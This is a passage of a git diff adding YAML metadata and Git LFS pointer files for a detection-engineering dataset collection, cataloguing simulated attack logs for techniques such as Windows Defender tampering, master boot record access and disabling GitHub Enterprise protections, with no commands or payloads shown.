@@ -0,0 +1,13 @@ +author: STRT +id: 64476aae-dbe1-4d20-b56e-385a9a991bbd +date: '2026-07-11' +description: Curated attack data generated for detection Windows Archived Collected + Data In TEMP Folder +environment: attack_range +directory: archived_in_temp_dir +mitre_technique: [] +datasets: +- name: braodo_zip_temp + path: /datasets/attack_techniques/T1560/archived_in_temp_dir/braodo_zip_temp-64476aae-dbe1-4d20-b56e-385a9a991bbd.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1560/archived_in_temp_dir/braodo_zip_temp-64476aae-dbe1-4d20-b56e-385a9a991bbd.log b/datasets/attack_techniques/T1560/archived_in_temp_dir/braodo_zip_temp-64476aae-dbe1-4d20-b56e-385a9a991bbd.log new file mode 100644 index 000000000..67ebf2b07 --- /dev/null +++ b/datasets/attack_techniques/T1560/archived_in_temp_dir/braodo_zip_temp-64476aae-dbe1-4d20-b56e-385a9a991bbd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6facb5170516c84c9a7629d1b3edae808485ec3ea17ab425ac0476665782a69b +size 3408 diff --git a/datasets/attack_techniques/T1560/powershell_archive/T1560_powershell_archive.yml b/datasets/attack_techniques/T1560/powershell_archive/T1560_powershell_archive.yml new file mode 100644 index 000000000..acaf18fcd --- /dev/null +++ b/datasets/attack_techniques/T1560/powershell_archive/T1560_powershell_archive.yml @@ -0,0 +1,13 @@ +author: STRT +id: e7a89c2f-a90f-4fc9-8f2d-3e0a8f46230f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Archive Collected + Data via Powershell +environment: attack_range +directory: powershell_archive +mitre_technique: [] +datasets: +- name: powershell_archive + path: /datasets/attack_techniques/T1560/powershell_archive/powershell_archive-e7a89c2f-a90f-4fc9-8f2d-3e0a8f46230f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1560/powershell_archive/powershell_archive-e7a89c2f-a90f-4fc9-8f2d-3e0a8f46230f.log b/datasets/attack_techniques/T1560/powershell_archive/powershell_archive-e7a89c2f-a90f-4fc9-8f2d-3e0a8f46230f.log new file mode 100644 index 000000000..23b023b36 --- /dev/null +++ b/datasets/attack_techniques/T1560/powershell_archive/powershell_archive-e7a89c2f-a90f-4fc9-8f2d-3e0a8f46230f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:156704aebf994ba7da82d3b810bbf2090d6391f3209466de794d5335d501a42b +size 5078 diff --git a/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/T1561.001_microsoft_intune_bulk_wipe.yml b/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/T1561.001_microsoft_intune_bulk_wipe.yml new file mode 100644 index 000000000..27d02f668 --- /dev/null +++ b/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/T1561.001_microsoft_intune_bulk_wipe.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9adab23a-57c5-4ba5-8dcb-cd49f08ad1a3 +date: '2026-07-10' +description: Curated attack data generated for detection Microsoft Intune Bulk Wipe +environment: attack_range +directory: microsoft_intune_bulk_wipe +mitre_technique: [] +datasets: +- name: microsoft_intune_bulk_wipe + path: /datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/microsoft_intune_bulk_wipe-9adab23a-57c5-4ba5-8dcb-cd49f08ad1a3.log + sourcetype: azure:monitor:activity + source: Azure AD diff --git a/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/microsoft_intune_bulk_wipe-9adab23a-57c5-4ba5-8dcb-cd49f08ad1a3.log b/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/microsoft_intune_bulk_wipe-9adab23a-57c5-4ba5-8dcb-cd49f08ad1a3.log new file mode 100644 index 000000000..15cc2c1fb --- /dev/null +++ b/datasets/attack_techniques/T1561.001/microsoft_intune_bulk_wipe/microsoft_intune_bulk_wipe-9adab23a-57c5-4ba5-8dcb-cd49f08ad1a3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c600e67b2a7d6db1b545f71e7313f40966c8e769c3a3a4b8715173a0f6f8313c +size 13002 diff --git a/datasets/attack_techniques/T1561.002/mbr_raw_access/T1561.002_mbr_raw_access.yml b/datasets/attack_techniques/T1561.002/mbr_raw_access/T1561.002_mbr_raw_access.yml new file mode 100644 index 000000000..349b73826 --- /dev/null +++ b/datasets/attack_techniques/T1561.002/mbr_raw_access/T1561.002_mbr_raw_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0ece945b-a86f-4bcf-9702-b6942e86403e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Raw Access To Master + Boot Record Drive +environment: attack_range +directory: mbr_raw_access +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1561.002/mbr_raw_access/sysmon-0ece945b-a86f-4bcf-9702-b6942e86403e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1561.002/mbr_raw_access/sysmon-0ece945b-a86f-4bcf-9702-b6942e86403e.log b/datasets/attack_techniques/T1561.002/mbr_raw_access/sysmon-0ece945b-a86f-4bcf-9702-b6942e86403e.log new file mode 100644 index 000000000..1261044cc --- /dev/null +++ b/datasets/attack_techniques/T1561.002/mbr_raw_access/sysmon-0ece945b-a86f-4bcf-9702-b6942e86403e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c05ad78f07ac004283fa5958b49da760f165979be015b83553413c68d0c56f37 +size 2793 diff --git a/datasets/attack_techniques/T1562.001/atomic_red_team/T1562.001_atomic_red_team.yml b/datasets/attack_techniques/T1562.001/atomic_red_team/T1562.001_atomic_red_team.yml new file mode 100644 index 000000000..885704cbc --- /dev/null +++ b/datasets/attack_techniques/T1562.001/atomic_red_team/T1562.001_atomic_red_team.yml @@ -0,0 +1,25 @@ +author: STRT +id: 912a9de7-59cb-4606-8cf9-9201dc5cbda3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DisableAntiSpyware + Registry +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_dism + path: /datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_dism-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: hvci_windows-sysmon + path: /datasets/attack_techniques/T1562.001/atomic_red_team/hvci_windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_raccine + path: /datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_raccine-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/atomic_red_team/hvci_windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log b/datasets/attack_techniques/T1562.001/atomic_red_team/hvci_windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log new file mode 100644 index 000000000..691d7526f --- /dev/null +++ b/datasets/attack_techniques/T1562.001/atomic_red_team/hvci_windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8e2425089ae22397b57c929f84b5912f686d24476ba4e9e962c66e144f8bef91 +size 11458 diff --git a/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log new file mode 100644 index 000000000..c1b6bdda2 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8eed865b6507f9200282240886b9ef0dac94d94649156eaf8d4af16904b77d68 +size 1068 diff --git a/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_dism-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_dism-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log new file mode 100644 index 000000000..26d04317a --- /dev/null +++ b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_dism-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:719a5187424e115155d19b96a1fae84907ee9ee6c72a75e42b17fe6a879b9d52 +size 6156 diff --git a/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_raccine-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_raccine-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log new file mode 100644 index 000000000..cb5e45a66 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon_raccine-912a9de7-59cb-4606-8cf9-9201dc5cbda3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a57b7e5c39ce7d2fb647c3786200a3435f5cf682a75ac937aa9cab7490eeb6c6 +size 16583 diff --git a/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/T1562.001_cisco_secure_endpoint_tampering.yml b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/T1562.001_cisco_secure_endpoint_tampering.yml new file mode 100644 index 000000000..361539226 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/T1562.001_cisco_secure_endpoint_tampering.yml @@ -0,0 +1,17 @@ +author: STRT +id: af9a16e7-db05-4d78-96f5-0bfeac784bf1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Cisco Secure Endpoint + Related Service Stopped +environment: attack_range +directory: cisco_secure_endpoint_tampering +mitre_technique: [] +datasets: +- name: service_stop + path: /datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/service_stop-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System +- name: sfc_tampering + path: /datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/sfc_tampering-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/service_stop-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/service_stop-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log new file mode 100644 index 000000000..5ccb12d6a --- /dev/null +++ b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/service_stop-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7177c61f61610385f08515c6903448fb84f51566210d3c38092c0349ae48a1d6 +size 2343 diff --git a/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/sfc_tampering-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/sfc_tampering-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log new file mode 100644 index 000000000..3e9a27857 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/cisco_secure_endpoint_tampering/sfc_tampering-af9a16e7-db05-4d78-96f5-0bfeac784bf1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:84eb68a63e188558bdf4c73e5b170cffd74039f7dd61cb9f9221d6411ba158cb +size 1964 diff --git a/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/T1562.001_defender_exclusion_sysmon.yml b/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/T1562.001_defender_exclusion_sysmon.yml new file mode 100644 index 000000000..b7f53949b --- /dev/null +++ b/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/T1562.001_defender_exclusion_sysmon.yml @@ -0,0 +1,13 @@ +author: STRT +id: b4a02cf5-d7b4-43cc-8ad5-ade4258fe67c +date: '2026-07-11' +description: Curated attack data generated for detection Add or Set Windows Defender + Exclusion +environment: attack_range +directory: defender_exclusion_sysmon +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/sysmon-b4a02cf5-d7b4-43cc-8ad5-ade4258fe67c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/sysmon-b4a02cf5-d7b4-43cc-8ad5-ade4258fe67c.log b/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/sysmon-b4a02cf5-d7b4-43cc-8ad5-ade4258fe67c.log new file mode 100644 index 000000000..336147729 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/defender_exclusion_sysmon/sysmon-b4a02cf5-d7b4-43cc-8ad5-ade4258fe67c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:81c667326cef2ff074387d379f4551c048982d221824263170fd44a107da7a35 +size 1066 diff --git a/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/T1562.001_delete_win_defender_context_menu.yml b/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/T1562.001_delete_win_defender_context_menu.yml new file mode 100644 index 000000000..9eef5a199 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/T1562.001_delete_win_defender_context_menu.yml @@ -0,0 +1,13 @@ +author: STRT +id: 60fa2df3-c73e-4eca-814b-11034f0fe584 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Impair Defense Delete + Win Defender Context Menu +environment: attack_range +directory: delete_win_defender_context_menu +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/sysmon-60fa2df3-c73e-4eca-814b-11034f0fe584.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/sysmon-60fa2df3-c73e-4eca-814b-11034f0fe584.log b/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/sysmon-60fa2df3-c73e-4eca-814b-11034f0fe584.log new file mode 100644 index 000000000..732470f73 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/delete_win_defender_context_menu/sysmon-60fa2df3-c73e-4eca-814b-11034f0fe584.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d2ce0ba7ba6bde453ddce7995c120bea44a39d28667f52c4702195335dbf4feb +size 998 diff --git a/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/T1562.001_disable-windows-security-defender-features.yml b/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/T1562.001_disable-windows-security-defender-features.yml new file mode 100644 index 000000000..b0877660e --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/T1562.001_disable-windows-security-defender-features.yml @@ -0,0 +1,13 @@ +author: STRT +id: e1a48e85-47bd-4103-9b3f-cb0556bc7e02 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Impair Defense Change + Win Defender Health Check Intervals +environment: attack_range +directory: disable-windows-security-defender-features +mitre_technique: [] +datasets: +- name: windefender-bypas-2-sysmon + path: /datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/windefender-bypas-2-sysmon-e1a48e85-47bd-4103-9b3f-cb0556bc7e02.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/windefender-bypas-2-sysmon-e1a48e85-47bd-4103-9b3f-cb0556bc7e02.log b/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/windefender-bypas-2-sysmon-e1a48e85-47bd-4103-9b3f-cb0556bc7e02.log new file mode 100644 index 000000000..b51924570 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable-windows-security-defender-features/windefender-bypas-2-sysmon-e1a48e85-47bd-4103-9b3f-cb0556bc7e02.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a6810c01e2562722842c5ad4442c6483021680850628d7ddfe7f3cc9ba71a616 +size 2158 diff --git a/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/T1562.001_disable_defender_asr_or_threats.yml b/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/T1562.001_disable_defender_asr_or_threats.yml new file mode 100644 index 000000000..9541f5f70 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/T1562.001_disable_defender_asr_or_threats.yml @@ -0,0 +1,13 @@ +author: STRT +id: a1e1fe04-e4a6-4c93-8e5f-17eacd54dd17 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Defender ASR or Threat + Configuration Tamper +environment: attack_range +directory: disable_defender_asr_or_threats +mitre_technique: [] +datasets: +- name: disable_defender_asr_or_threats + path: /datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/disable_defender_asr_or_threats-a1e1fe04-e4a6-4c93-8e5f-17eacd54dd17.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/disable_defender_asr_or_threats-a1e1fe04-e4a6-4c93-8e5f-17eacd54dd17.log b/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/disable_defender_asr_or_threats-a1e1fe04-e4a6-4c93-8e5f-17eacd54dd17.log new file mode 100644 index 000000000..28bf973ec --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_defender_asr_or_threats/disable_defender_asr_or_threats-a1e1fe04-e4a6-4c93-8e5f-17eacd54dd17.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e9959cabdcf99a9792adf8b85a179cfb85ad5ba905ab26905c820c3565e438e9 +size 6419 diff --git a/datasets/attack_techniques/T1562.001/disable_defender_logging/T1562.001_disable_defender_logging.yml b/datasets/attack_techniques/T1562.001/disable_defender_logging/T1562.001_disable_defender_logging.yml new file mode 100644 index 000000000..8c3134c47 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_defender_logging/T1562.001_disable_defender_logging.yml @@ -0,0 +1,13 @@ +author: STRT +id: a96c0559-23eb-4118-8ff7-41639f5c18d3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Impair Defenses Disable + Auto Logger Session +environment: attack_range +directory: disable_defender_logging +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1562.001/disable_defender_logging/sysmon-a96c0559-23eb-4118-8ff7-41639f5c18d3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.001/disable_defender_logging/sysmon-a96c0559-23eb-4118-8ff7-41639f5c18d3.log b/datasets/attack_techniques/T1562.001/disable_defender_logging/sysmon-a96c0559-23eb-4118-8ff7-41639f5c18d3.log new file mode 100644 index 000000000..b733623d2 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_defender_logging/sysmon-a96c0559-23eb-4118-8ff7-41639f5c18d3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:62c5285058ec0e062ab151e054cbcd730d8a3919d2f605218c6bcd9056efd102 +size 2142 diff --git a/datasets/attack_techniques/T1562.001/disable_dependabot/T1562.001_disable_dependabot.yml b/datasets/attack_techniques/T1562.001/disable_dependabot/T1562.001_disable_dependabot.yml new file mode 100644 index 000000000..ad20e0ed3 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_dependabot/T1562.001_disable_dependabot.yml @@ -0,0 +1,13 @@ +author: STRT +id: 341a937f-68d7-48cf-89de-ae516fb74d83 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Disable + Dependabot +environment: attack_range +directory: disable_dependabot +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/disable_dependabot/github-341a937f-68d7-48cf-89de-ae516fb74d83.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/disable_dependabot/github-341a937f-68d7-48cf-89de-ae516fb74d83.log b/datasets/attack_techniques/T1562.001/disable_dependabot/github-341a937f-68d7-48cf-89de-ae516fb74d83.log new file mode 100644 index 000000000..35215d591 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/disable_dependabot/github-341a937f-68d7-48cf-89de-ae516fb74d83.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d909a9539b3d4267b979bb0ab2230e3d3f53b0f67e91a078026f611d3ca784a4 +size 4043 diff --git a/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/T1562.001_github_created_self_hosted_runner.yml b/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/T1562.001_github_created_self_hosted_runner.yml new file mode 100644 index 000000000..e03b1ab2a --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/T1562.001_github_created_self_hosted_runner.yml @@ -0,0 +1,13 @@ +author: STRT +id: ee18c27e-a8e5-4199-9bd5-e3fc9cae8fd6 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Register + Self Hosted Runner +environment: attack_range +directory: github_created_self_hosted_runner +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/github-ee18c27e-a8e5-4199-9bd5-e3fc9cae8fd6.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/github-ee18c27e-a8e5-4199-9bd5-e3fc9cae8fd6.log b/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/github-ee18c27e-a8e5-4199-9bd5-e3fc9cae8fd6.log new file mode 100644 index 000000000..f9845a8c0 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_created_self_hosted_runner/github-ee18c27e-a8e5-4199-9bd5-e3fc9cae8fd6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bc4d846de52d97a1af859b4830bb2bd27e142caaa4fc0bc45fe702cc2168db64 +size 561 diff --git a/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/T1562.001_github_delete_branch_ruleset.yml b/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/T1562.001_github_delete_branch_ruleset.yml new file mode 100644 index 000000000..9e6ca0b8d --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/T1562.001_github_delete_branch_ruleset.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4449693d-eabf-4eeb-aa57-7d372c5981d2 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Delete + Branch Ruleset +environment: attack_range +directory: github_delete_branch_ruleset +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/github-4449693d-eabf-4eeb-aa57-7d372c5981d2.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/github-4449693d-eabf-4eeb-aa57-7d372c5981d2.log b/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/github-4449693d-eabf-4eeb-aa57-7d372c5981d2.log new file mode 100644 index 000000000..f27b06e2e --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_delete_branch_ruleset/github-4449693d-eabf-4eeb-aa57-7d372c5981d2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:829dff3cae91386b5cde2c81ebc33e4c1028299b4861fa444fc8110170897db9 +size 943 diff --git a/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/T1562.001_github_disable_classic_branch_protection.yml b/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/T1562.001_github_disable_classic_branch_protection.yml new file mode 100644 index 000000000..fc1ee9af0 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/T1562.001_github_disable_classic_branch_protection.yml @@ -0,0 +1,13 @@ +author: STRT +id: 59872c2a-6ff7-47c7-9ab3-6c07622c52f3 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Disable + Classic Branch Protection Rule +environment: attack_range +directory: github_disable_classic_branch_protection +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/github-59872c2a-6ff7-47c7-9ab3-6c07622c52f3.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/github-59872c2a-6ff7-47c7-9ab3-6c07622c52f3.log b/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/github-59872c2a-6ff7-47c7-9ab3-6c07622c52f3.log new file mode 100644 index 000000000..ee1ca9b6c --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_classic_branch_protection/github-59872c2a-6ff7-47c7-9ab3-6c07622c52f3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d0b1a765d21b882508379ce1b3c449a6c56e2ec39cf248dd3cbf6be54330fdd5 +size 1398 diff --git a/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/T1562.001_github_disable_ip_allow_list.yml b/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/T1562.001_github_disable_ip_allow_list.yml new file mode 100644 index 000000000..417538095 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/T1562.001_github_disable_ip_allow_list.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5e1643b0-ab62-4b6f-9f02-a53470c5107f +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Disable + IP Allow List +environment: attack_range +directory: github_disable_ip_allow_list +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/github-5e1643b0-ab62-4b6f-9f02-a53470c5107f.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/github-5e1643b0-ab62-4b6f-9f02-a53470c5107f.log b/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/github-5e1643b0-ab62-4b6f-9f02-a53470c5107f.log new file mode 100644 index 000000000..225f44801 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_ip_allow_list/github-5e1643b0-ab62-4b6f-9f02-a53470c5107f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:10e93f0a05dd83768698c8160888b46c6cfd524cc2c7a98e874f62f9ea83a36f +size 497 diff --git a/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/T1562.001_github_disable_two_factor_requirement.yml b/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/T1562.001_github_disable_two_factor_requirement.yml new file mode 100644 index 000000000..53d9cd763 --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/T1562.001_github_disable_two_factor_requirement.yml @@ -0,0 +1,13 @@ +author: STRT +id: eeb41fb0-075f-4fb2-a15e-9b87d9dd33be +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Disable + 2FA Requirement +environment: attack_range +directory: github_disable_two_factor_requirement +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/github-eeb41fb0-075f-4fb2-a15e-9b87d9dd33be.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/github-eeb41fb0-075f-4fb2-a15e-9b87d9dd33be.log b/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/github-eeb41fb0-075f-4fb2-a15e-9b87d9dd33be.log new file mode 100644 index 000000000..88b4ddeae --- /dev/null +++ b/datasets/attack_techniques/T1562.001/github_disable_two_factor_requirement/github-eeb41fb0-075f-4fb2-a15e-9b87d9dd33be.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc1f3b20b8b290b411b7e14b9a992001263e110af3e896dbcdc0467f1af1353a +size 535 diff --git a/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/T1562.001_hotkey_disabled_hidden_user.yml b/datasets/attack_techniques/T1562.001/hotkey_disabled_hidden_user/T1562.001_hotkey_disabled_hidden_user.yml new file mode 100644 index 000000000..5fc6ae1bd --- /dev/null +++ 